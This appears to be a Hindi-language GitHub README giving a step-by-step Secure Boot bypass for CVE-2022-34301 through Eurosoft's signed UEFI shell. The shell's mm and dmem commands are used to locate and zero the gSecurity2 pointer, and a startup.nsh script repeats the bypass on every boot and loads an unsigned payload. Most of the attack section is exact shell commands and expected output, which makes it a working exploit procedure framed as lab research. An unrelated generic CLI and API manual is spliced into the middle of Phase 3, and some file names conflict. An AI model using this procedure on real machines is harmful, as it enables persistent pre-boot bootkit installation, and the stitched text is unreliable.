themalwareguardian/cve-2022-34301CVE-2022-34301 Secure Boot बायपास को Eurosoft हस्ताक्षरित UEFI Shell (esdiags.efi) के माध्यम से प्रदर्शित करता है, जिसमें gSecurity2 को शून्य करने और अहस्ताक्षरित UEFI अनुप्रयोगों को लोड करने के लिए mm कमांड का उपयोग किया जाता है।
Eurosoft Pc-Check UEFI डायग्नोस्टिक्स शेल - अपना स्वयं का भेद्य UEFI एप्लिकेशन लाएं (BYOVUA) - हस्ताक्षरित UEFI शेल और gSecurity2 भ्रष्टाचार के माध्यम से सुरक्षित बूट बायपास।
यह रिपॉजिटरी CVE-2022-34301 का शोषण करके BYOVUA (अपना स्वयं का भेद्य UEFI एप्लिकेशन लाएं) तकनीक का प्रदर्शन करती है, जो Eurosoft Pc-Check UEFI डायग्नोस्टिक वातावरण में एक सुरक्षित बूट बायपास भेद्यता है।
इस मामले में, सुरक्षित बूट द्वारा विश्वसनीय माना जाने वाला घटक esdiags.efi है, जो Eurosoft के Pc-Check UEFI हार्डवेयर डायग्नोस्टिक्स उत्पाद के हिस्से के रूप में वितरित एक UEFI शेल है, जो Microsoft के UEFI थर्ड पार्टी सर्टिफिकेट अथॉरिटी द्वारा विश्वसनीय प्रमाणपत्र श्रृंखला द्वारा हस्ताक्षरित है। एक बार निष्पादित होने पर, यह शेल mm (मेमोरी संशोधन) कमांड को उजागर करता है और इसलिए प्री-OS बूट चरण के दौरान मनमानी मेमोरी पढ़ने और लिखने की क्षमता प्रदान करता है।
इस प्रिमिटिव का उपयोग तब DXE कोर में gSecurity2 ग्लोबल पॉइंटर का पता लगाने और उसे शून्य करने के लिए किया जा सकता है। परिणामस्वरूप, बाद का UEFI इमेज सत्यापन अक्षम हो जाता है, जिससे सुरक्षित बूट सक्षम होने के बावजूद अहस्ताक्षरित UEFI एप्लिकेशन, बूटकिट्स, लोड किए जा सकते हैं।
BYOVUA, कर्नेल स्तर पर उपयोग की जाने वाली BYOVD (अपना स्वयं का भेद्य ड्राइवर लाएं) तकनीक का UEFI समकक्ष है। एक भेद्यता वाले हस्ताक्षरित कर्नेल ड्राइवर को लाने के बजाय, हमलावर एक हस्ताक्षरित UEFI एप्लिकेशन लाता है - इस मामले में, एक पूर्ण UEFI शेल - जिसमें सुरक्षित बूट को कमजोर करने में सक्षम कार्यक्षमता होती है।
चूंकि एप्लिकेशन सुरक्षित बूट द्वारा विश्वसनीय प्रमाणपत्र श्रृंखला के साथ हस्ताक्षरित है, इसे बिना किसी प्रश्न के स्वीकार कर लिया जाता है, जिससे यह किसी भी सिस्टम पर विश्वसनीय हो जाता है जिसमें Microsoft UEFI थर्ड पार्टी सर्टिफिकेट अथॉरिटी अपने सुरक्षित बूट डेटाबेस (db) में शामिल है - जो पिछले दशक में बेचे गए लगभग हर UEFI-सक्षम PC में है। एक बार चलने पर, इसके अंतर्निहित कमांड हमलावर को सीधी हार्डवेयर और मेमोरी पहुंच प्रदान करते हैं जो ऑपरेटिंग सिस्टम लोड होने से पहले संचालित होती है, ऐसे वातावरण में जहां आधुनिक सुरक्षा नियंत्रण (ASLR, DEP, कर्नेल सुरक्षा) बस मौजूद नहीं हैं।
esdiags.efi Eurosoft के Pc-Check UEFI के हिस्से के रूप में वितरित एक UEFI शेल है, जो एक प्री-बूट हार्डवेयर डायग्नोस्टिक्स उत्पाद है जिसका उपयोग PC निर्माताओं, सेवा संगठनों और IT टीमों द्वारा बेयर-मेटल सिस्टम परीक्षण के लिए किया जाता है।
| प्रॉपर्टी | मान |
|---|
| फ़ाइल | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| विक्रेता | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| हस्ताक्षर | Microsoft Corporation UEFI CA 2011 (Third Party) |
| खोज | Eclypsium (Mickey Shkatov, Jesse Michael) - अगस्त 2022 |
| प्रस्तुति | DEF CON 30 - "One Bootloader to Load Them All" |
| निरस्तीकरण | Microsoft KB5012170 (अगस्त 2022) के माध्यम से DBX में जोड़ा गया |
भेद्यता एक बग नहीं है - यह एक डिज़ाइन दोष है। UEFI शेल वैध डायग्नोस्टिक उपकरण हैं जिन्हें सुरक्षित बूट वातावरण में चलाने के लिए कभी नहीं बनाया गया था। हालांकि, उन्हें Microsoft-विश्वसनीय प्रमाणपत्र के साथ हस्ताक्षरित करके और व्यावसायिक उत्पादों के हिस्से के रूप में वितरित करके, विक्रेताओं ने अनजाने में सुरक्षित बूट के लिए एक हस्ताक्षरित बायपास बना दिया।
मूल समस्या: एक हस्ताक्षरित बाइनरी जो सुरक्षित बूट द्वारा विश्वसनीय है, अपने अंतर्निहित कमांड के माध्यम से अप्रतिबंधित मेमोरी पढ़ने/लिखने की क्षमता प्रदान करती है। यह संयोजन पूरे सुरक्षित बूट विश्वास मॉडल को तोड़ देता है।
mm (मेमोरी संशोधन) कमांड एक मानक UEFI शेल अंतर्निहित कमांड है जो सिस्टम मेमोरी तक सीधी पढ़ने और लिखने की पहुंच प्रदान करता है। यह UEFI शेल विनिर्देश (अनुभाग 5.3) में प्रलेखित है।```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| पैरामीटर | विवरण |
|-----------|-------------|
| `Address` | लक्ष्य मेमोरी पता |
| `Value` | लिखने का मान (केवल पढ़ने के लिए छोड़ें) |
| `-w` | चौड़ाई: 1, 2, 4, या 8 बाइट्स |
| `-MEM` | सिस्टम मेमोरी एक्सेस |
| `-MMIO` | मेमोरी-मैप्ड I/O |
| `-IO` | I/O पोर्ट एक्सेस |
| `-n` | गैर-इंटरैक्टिव (अगले पते के लिए कोई प्रॉम्प्ट नहीं) |
---
<div id='gsecurity2'/>
### ***gSecurity2 और सुरक्षा आर्किटेक्चरल प्रोटोकॉल***
UEFI में सिक्योर बूट इमेज सत्यापन को [सुरक्षा आर्किटेक्चरल प्रोटोकॉल](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) के माध्यम से लागू किया जाता है, जो UEFI प्लेटफ़ॉर्म इनिशियलाइज़ेशन (PI) विनिर्देश में परिभाषित हैं।
DXE कोर (DxeMain) एक वैश्विक पॉइंटर बनाए रखता है जिसे [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) कहा जाता है, जो `EFI_SECURITY2_ARCH_PROTOCOL` संरचना की ओर इंगित करता है। इस प्रोटोकॉल में एक एकल फ़ंक्शन पॉइंटर होता है - `FileAuthenticationState` - जिसे `LoadImage()` द्वारा हर बार UEFI इमेज लोड होने पर कॉल किया जाता है:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
जब LoadImage() को कॉल किया जाता है, तो DXE कोर जाँच करता है:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
`gSecurity2 = NULL` सेट करने पर, `if` जाँच विफल हो जाती है और `FileAuthenticationState` कभी कॉल नहीं होता। इमेज सत्यापन पूरी तरह से छोड़ दिया जाता है - **Secure Boot "सक्षम" रहता है लेकिन अब लागू नहीं होता**। इसके बाद अहस्ताक्षरित UEFI एप्लिकेशन स्वतंत्र रूप से लोड किए जा सकते हैं।
इस तकनीक की गहरी तकनीकी समझ के लिए, जिसमें एक उद्देश्य-निर्मित UEFI एप्लिकेशन शामिल है जो स्वचालित रूप से gSecurity2 का पता लगाता है और पैच करता है, सहयोगी प्रोजेक्ट देखें: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)।
---
<div id='BYOVD'/>
### ***Kernel BYOVD के साथ समानता***
UEFI BYOVUA और kernel BYOVD के बीच संरचनात्मक समानता बिल्कुल सटीक है:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
दोनों हमले एक ही मूलभूत खामी का फायदा उठाते हैं: एक हस्ताक्षरित घटक जिस पर कोई सुरक्षा तंत्र भरोसा करता है, उसी तंत्र को निष्क्रिय करने के लिए आवश्यक प्राथमिकता प्रदान करता है।
हस्ताक्षरित esdiags.efi को EFI सिस्टम पार्टीशन (ESP) पर रखा जाता है और बूट विकल्प के रूप में कॉन्फ़िगर किया जाता है। चूँकि यह Secure Boot द्वारा विश्वसनीय प्रमाणपत्र श्रृंखला से हस्ताक्षरित है, फर्मवेयर इसे बिना किसी समस्या के सत्यापित और लोड करता है।```
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
---
<div id='Phase2'/>
### ***चरण 2 - Security2 प्रोटोकॉल हैंडल की गणना करें***
UEFI Shell से, लक्ष्य वह हैंडल खोजना है जो `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) को उजागर करता है और उसके प्रोटोकॉल इंटरफ़ेस का मेमोरी पता प्राप्त करना है।
> **नोट:** `dh -p <GUID>` कमांड अधिकांश EDK2 Shell बिल्ड्स में कच्चे GUIDs को हल नहीं करता है - यह केवल पंजीकृत प्रोटोकॉल नामों को पहचानता है। नीचे दिया गया दृष्टिकोण किसी भी EDK2 Shell संस्करण पर काम करता है।
**चरण 1 - SecurityStubDxe हैंडल खोजें**
सभी हैंडल की सूची बनाएं और `SecurityStubDxe` को खोजें, जो वह DXE ड्राइवर है जो दोनों Security Architectural Protocols को इंस्टॉल करता है:```
Shell> dh
आउटपुट में, SecurityStubDxe के रूप में लोड किए गए हैंडल की पहचान करें:```
10: Image(SecurityStubDxe)
**चरण 2 - आसन्न हैंडल का निरीक्षण करें**
`SecurityStubDxe` सुरक्षा प्रोटोकॉल को एक अलग हैंडल पर इंस्टॉल करता है, आमतौर पर उसके ठीक बाद वाले हैंडल पर। ये हैंडल संक्षिप्त लिस्टिंग में खाली दिखाई देते हैं क्योंकि Shell उनके GUIDs को मित्रवत नामों में मैप नहीं कर सकता। उन्हें verbose मोड के साथ निरीक्षित करें:```
Shell> dh -v 11
Expected output:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
यदि हैंडल `0x11` में ये GUIDs नहीं हैं, तो `0x12` आज़माएँ - सटीक हैंडल संख्या फर्मवेयर बिल्ड्स के बीच भिन्न होती है।
**चरण 3 - इंटरफ़ेस पता रिकॉर्ड करें**
दो प्रोटोकॉल और उनके इंटरफ़ेस पते ये हैं:
| GUID | प्रोटोकॉल | इंटरफ़ेस पता |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**Security2 इंटरफ़ेस पता** (इस उदाहरण में `0x3EE8C3A0`) वह मान है जो DxeMain के अंदर `gSecurity2` ग्लोबल पॉइंटर द्वारा संग्रहीत किया जाता है। यह मान चरण 3 के लिए आवश्यक है।
---
<div id='Phase3'/>
### ***चरण 3 - मेमोरी में gSecurity2 का पता लगाएँ***
`gSecurity2` वेरिएबल DXE कोर (`DxeMain`) के अंदर एक ग्लोबल पॉइंटर है। इसका मान चरण 2 में पाए गए प्रोटोकॉल इंटरफ़ेस पते के बराबर होता है। लक्ष्य उस मेमोरी पते को खोजना है जहाँ यह पॉइंटर संग्रहीत है - पॉइंटर का मान नहीं, बल्कि वेरिएबल स्वयं।
**चरण 1 - DXE कोर इमेज लेआउट प्राप्त करें**```
Shell> dh -v 1
| -s | --server | Server URL (default: http://localhost:8080) |
| -t | --token | Authentication token |
| -o | --output | Output file path |
| -v | --verbose | Enable verbose logging |
| -q | --quiet | Suppress non-error output |
| -f | --format | Output format (json, yaml, table) |
| -c | --config | Path to configuration file |
| -n | --no-color | Disable colored output |
| -h | --help | Show help message |
| -V | --version | Show version information |
बुनियादी उपयोग:
tool --server http://localhost:8080 --token abc123
कॉन्फ़िगरेशन फ़ाइल के साथ:
tool -c /etc/tool/config.yaml -v
JSON आउटपुट:
tool -f json -o results.json
कॉन्फ़िगरेशन फ़ाइल ~/.config/tool/config.yaml पर स्थित है:
server: http://localhost:8080
token: your-token-here
output: results.json
format: json
verbose: false
सर्वर की स्थिति लौटाता है।
प्रतिक्रिया:
{
"status": "ok",
"version": "1.0.0",
"uptime": 3600
}
एक नया स्कैन शुरू करता है।
अनुरोध:
{
"target": "example.com",
"options": {
"depth": 3,
"timeout": 30
}
}
प्रतिक्रिया:
{
"scan_id": "abc-123",
"status": "running"
}
किसी विशिष्ट स्कैन का परिणाम लौटाता है।
प्रतिक्रिया:
{
"scan_id": "abc-123",
"status": "completed",
"findings": []
}
सामान्य त्रुटि कोड:
| कोड | विवरण |
|---|---|
| 400 | Bad Request |
| 401 | Unauthorized |
| 403 | Forbidden |
| 404 | Not Found |
| 500 | Internal Server Error |
त्रुटि प्रतिक्रिया प्रारूप:
{
"error": "Unauthorized",
"message": "Invalid or missing authentication token",
"code": 401
}
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
`ImageBase` रिकॉर्ड करें (`0x3FE94000`)।
**चरण 2 - `.data` सेक्शन खोजने के लिए PE हेडर पार्स करें**
`.data` सेक्शन में इनिशियलाइज़ किए गए ग्लोबल वेरिएबल्स शामिल होते हैं, जिनमें `gSecurity2` भी शामिल है। पूरी इमेज को आँख बंद करके स्कैन करने के बजाय, सटीक `.data` सीमाओं को खोजने के लिए PE हेडर पार्स करें।
PE हेडर ऑफ़सेट प्राप्त करने के लिए MZ हेडर पढ़ें (ऑफ़सेट `0x3C` पर DWORD):```
Shell> dmem <ImageBase> 100
आउटपुट में, ImageBase से ऑफ़सेट 0x3C को देखें। उदाहरण के लिए, यदि ImageBase 0x3FE94000 है:```
3FE9403C: C0 00 00 00
इसका मतलब है कि PE हस्ताक्षर `ImageBase` से ऑफ़सेट `0xC0` पर स्थित है।
**चरण 3 - सेक्शन तालिका पढ़ें**
सेक्शन तालिका ऑफ़सेट की गणना इस प्रकार की जाती है:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
COFF हेडर को पढ़कर SizeOfOptionalHeader (PE_offset + 20 पर WORD) प्राप्त करें:```
Shell> dmem <ImageBase + PE_offset> 20
PE32+ (x64) UEFI इमेज के लिए, `SizeOfOptionalHeader` आमतौर पर `0xF0` होता है। हमारे उदाहरण में:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
सेक्शन तालिका डंप करें (5 सेक्शन × 40 बाइट्स = 200 बाइट्स):``` Shell> dmem 3FE941C8 140
प्रत्येक सेक्शन प्रविष्टि 40 बाइट्स की होती है:
| Offset | Size | Field |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
`.data` सेक्शन प्रविष्टि खोजें। उदाहरण आउटपुट:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
.data की पूर्ण सीमाओं की गणना करें:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**चरण 4 - इंटरफ़ेस पॉइंटर के लिए `.data` को स्कैन करें**
`.data` रेंज के भीतर little-endian बाइट क्रम में Security2 इंटरफ़ेस पता खोजें। `0x3EE8C3A0` के इंटरफ़ेस पते के लिए, इसे खोजें:```
A0 C3 E8 3E 00 00 00 00
data_start से शुरू होकर 0x200-बाइट ब्लॉकों में स्कैन करें:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
`.data` रेंज के माध्यम से तब तक जारी रखें जब तक आप बाइट अनुक्रम न पा लें। `gSecurity` (Security1) और `gSecurity2` (Security2) पॉइंटर क्रमागत रूप से संग्रहीत होते हैं, इसलिए दोनों मानों को एक-दूसरे से सटे हुए खोजें:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
सुझाव:
.dataसेक्शन में EFI System Table संरचनाएँ (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV) भी होती हैं। सुरक्षा पॉइंटर आमतौर पर इन संरचनाओं के बाद स्थित होते हैं। यदि स्कैन करते समय आपको ये सिग्नेचर दिखाई दें, तो आगे बढ़ते रहें - आप करीब पहुँच रहे हैं।
चरण 5 - पते की पुष्टि करें
सटीक स्थान पढ़कर सत्यापित करें:``` Shell> dmem 3FEB0C08 10
Expected output:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
पता 0x3FEB0C08 वह स्थान है जहाँ gSecurity2 संग्रहीत है - यह Phase 4 का लक्ष्य है।
एक बार gSecurity2 वेरिएबल का पता ज्ञात हो जाने पर, एक ही mm कमांड Secure Boot सत्यापन को अक्षम कर देता है:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **नोट:** `mm` कमांड एड्रेस आर्ग्युमेंट पर `0x` प्रीफ़िक्स स्वीकार नहीं कर सकता। सीधे रॉ हेक्साडेसिमल एड्रेस का उपयोग करें।
उदाहरण:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
यह gSecurity2 पॉइंटर पर 8 बाइट शून्य लिखता है। DXE कोर अब LoadImage() में सभी इमेज सत्यापन जाँचों को छोड़ देगा।
पैच को सत्यापित करने के लिए:``` Shell> dmem <gSecurity2_address> 10
पहले 8 बाइट्स `00 00 00 00 00 00 00 00` पढ़े जाने चाहिए:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
ध्यान दें कि gSecurity (Security1, दूसरा qword) अक्षुण्ण रहता है - केवल Security2 को शून्य किया जाता है, जो LoadImage() सत्यापन को बायपास करने के लिए पर्याप्त है।
gSecurity2 को शून्य करने के बाद, किसी भी UEFI एप्लिकेशन को उसकी हस्ताक्षर स्थिति की परवाह किए बिना लोड किया जा सकता है:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
या ड्राइवरों के लिए `load` का उपयोग करके:```
Shell> load fs1:\MyUnsignedDriver.efi
ऑपरेटिंग सिस्टम अभी शुरू नहीं हुआ है। इस बिंदु पर लोड किया गया कोई भी UEFI एप्लिकेशन पूर्ण हार्डवेयर एक्सेस के साथ चलता है, किसी भी OS-स्तरीय सुरक्षा नियंत्रण के आरंभ होने से पहले।
UEFI Shell प्रत्येक लॉन्च पर वर्तमान डायरेक्टरी या ESP रूट से startup.nsh को स्वचालित रूप से निष्पादित करता है। इस स्क्रिप्ट में mm पैच को एन्कोड करके, Secure Boot bypass प्रत्येक बूट पर स्वचालित रूप से निष्पादित होता है:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
उदाहरण:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
सिस्टम Secure Boot को "enabled" के रूप में रिपोर्ट करना जारी रखता है - केवल रनटाइम प्रवर्तन अक्षम है। यह हमले को OS-स्तर के Secure Boot स्थिति क्वेरीज़ के लिए अदृश्य बना देता है।
महत्वपूर्ण:
gSecurity2पता (इस उदाहरण में0x3FEB0C08) फर्मवेयर बिल्ड के लिए विशिष्ट है। यदि फर्मवेयर अपडेट या पुनःसंकलित किया जाता है, तो Phase 2 और 3 को दोहराकर पते की पुनर्गणना की जानी चाहिए।
gSecurity2 पता खोजना फर्मवेयर-विशिष्ट है और जब भी फर्मवेयर अपडेट या पुनःसंकलित किया जाता है तो इसे दोहराया जाना चाहिए। उच्च-स्तरीय प्रक्रिया यह है:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
दो दृष्टिकोण प्रदान किए गए हैं:
**दृष्टिकोण A - FileAuthenticationState को पैच करना:** सत्यापन फ़ंक्शन के पहले 4 बाइट्स को `xor rax, rax; ret` (`48 31 C0 C3`) से अधिलेखित करता है, जिससे यह बिना कोई जाँच किए EFI_SUCCESS लौटाता है। यह दृष्टिकोण Security2 प्रोटोकॉल इंटरफ़ेस के माध्यम से फ़ंक्शन पॉइंटर को हल करने के लिए `dh`, `dmem`, और `mm` कमांड का उपयोग करता है और इसमें DxeMain मेमोरी को खोजने की आवश्यकता नहीं होती है।
**दृष्टिकोण B - gSecurity2 पॉइंटर को शून्य करना:** DxeMain के `.data` सेक्शन के अंदर gSecurity2 ग्लोबल वेरिएबल का पता लगाता है और उसमें NULL लिखता है। यह वह तकनीक है जिसका वर्णन Eclypsium ने BombShell प्रकटीकरण में किया है और जिसे [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) रिपॉज़िटरी में प्रोग्रामेटिक रूप से लागू किया गया है। इस दृष्टिकोण के लिए `.data` सेक्शन की सीमाओं को खोजने के लिए DxeMain के PE हेडर को पार्स करना आवश्यक है, फिर पॉइंटर पते का पता लगाने के लिए `dmem` के साथ मैन्युअल रूप से मेमोरी को स्कैन करना होता है।
दोनों स्क्रिप्ट को चरण-दर-चरण अनुसरण करने के लिए डिज़ाइन किया गया है, जिसमें प्रत्येक कमांड को समझाया गया है। पहले उन्हें इंटरैक्टिव रूप से चलाएँ, फिर एक बार लक्ष्य फ़र्मवेयर के लिए सही पते ज्ञात हो जाने पर, प्रत्येक बूट पर स्वचालित निष्पादन के लिए एक `startup.nsh` बनाएँ।
---
---
---
<div id='LabSetup'/>
## ***Lab Setup***
### DBX (Forbidden Signature Database)
हस्ताक्षरित शेल को KB5012170 (अगस्त 2022) के माध्यम से Microsoft की DBX निरस्तीकरण सूची में जोड़ा गया है। अद्यतन किए गए सिस्टम पर, शेल को Secure Boot द्वारा अस्वीकार कर दिया जाएगा।
प्रयोगशाला वातावरण के लिए, आपको एक ऐसे सिस्टम की आवश्यकता है जहाँ:
- DBX को इस विशिष्ट शेल के लिए निरस्तीकरण प्रविष्टि के साथ अद्यतन नहीं किया गया हो
- या DBX खाली हो (डिफ़ॉल्ट Secure Boot कुंजियों वाला ताज़ा VM)
- या आप कस्टम Secure Boot कुंजी नामांकन के साथ QEMU/OVMF वातावरण का उपयोग करें
[QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) इसके लिए एक स्वचालित सेटअप प्रदान करता है।
### विकल्प: mm कमांड वाला कोई भी हस्ताक्षरित UEFI शेल
यह तकनीक `esdiags.efi` के लिए विशिष्ट नहीं है। कोई भी UEFI Shell जो `mm` कमांड को उजागर करता है और एक विश्वसनीय प्रमाणपत्र (Microsoft CA या OEM-विशिष्ट) के साथ हस्ताक्षरित है, उसका उपयोग किया जा सकता है। जैसा कि Eclypsium के [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) शोध (अक्टूबर 2025) में प्रलेखित है, खतरनाक क्षमताओं वाले हस्ताक्षरित UEFI शेल कई विक्रेताओं के उत्पादों में पाए गए हैं, जिनमें Framework लैपटॉप (लगभग 200,000 उपकरणों को प्रभावित करने वाले) शामिल हैं।
---
---
---
<div id='References'/>
## ***References***
### Directly Related
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - ज्ञात कमजोर हस्ताक्षरित UEFI अनुप्रयोगों का क्यूरेटेड संग्रह
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - gSecurity2 भ्रष्टाचार तकनीक का गहन तकनीकी विश्लेषण, जिसमें एक विशेष रूप से निर्मित UEFI अनुप्रयोग शामिल है जो स्वचालित रूप से पॉइंटर का पता लगाता है और उसे पैच करता है
### Eclypsium Research
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - .nsh स्क्रिप्टिंग के साथ मेमोरी हेरफेर के लिए हस्ताक्षरित UEFI शेल का उपयोग करने पर शोध
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - CVE-2022-34301, CVE-2022-34302, CVE-2022-34303 का खुलासा करने वाला मूल Eclypsium शोध
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Mickey Shkatov और Jesse Michael की प्रस्तुति
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - अक्टूबर 2025 का शोध जो Framework लैपटॉप पर mm कमांड gSecurity2 हमले का प्रदर्शन करता है (200k उपकरण प्रभावित)
### UEFI Specifications
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - mm और dh कमांड के लिए दस्तावेज़ीकरण
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - gSecurity2 ग्लोबल पॉइंटर के लिए स्रोत कोड संदर्भ
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Security2 Architectural Protocol की आधिकारिक परिभाषा
### Advisories
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34301](https://nvd.nist.gov/vuln/detail/CVE-2022-34301)
### Bootloader Catalog
- [Bootloaders.io - esdiags.efi](https://www.bootloaders.io/bootloaders/aa02b41c-fdba-4a15-8cd0-721c8ce19b68/) - निरस्त Eurosoft शेल के लिए YARA नियम, Sigma डिटेक्शन, और नमूना हैश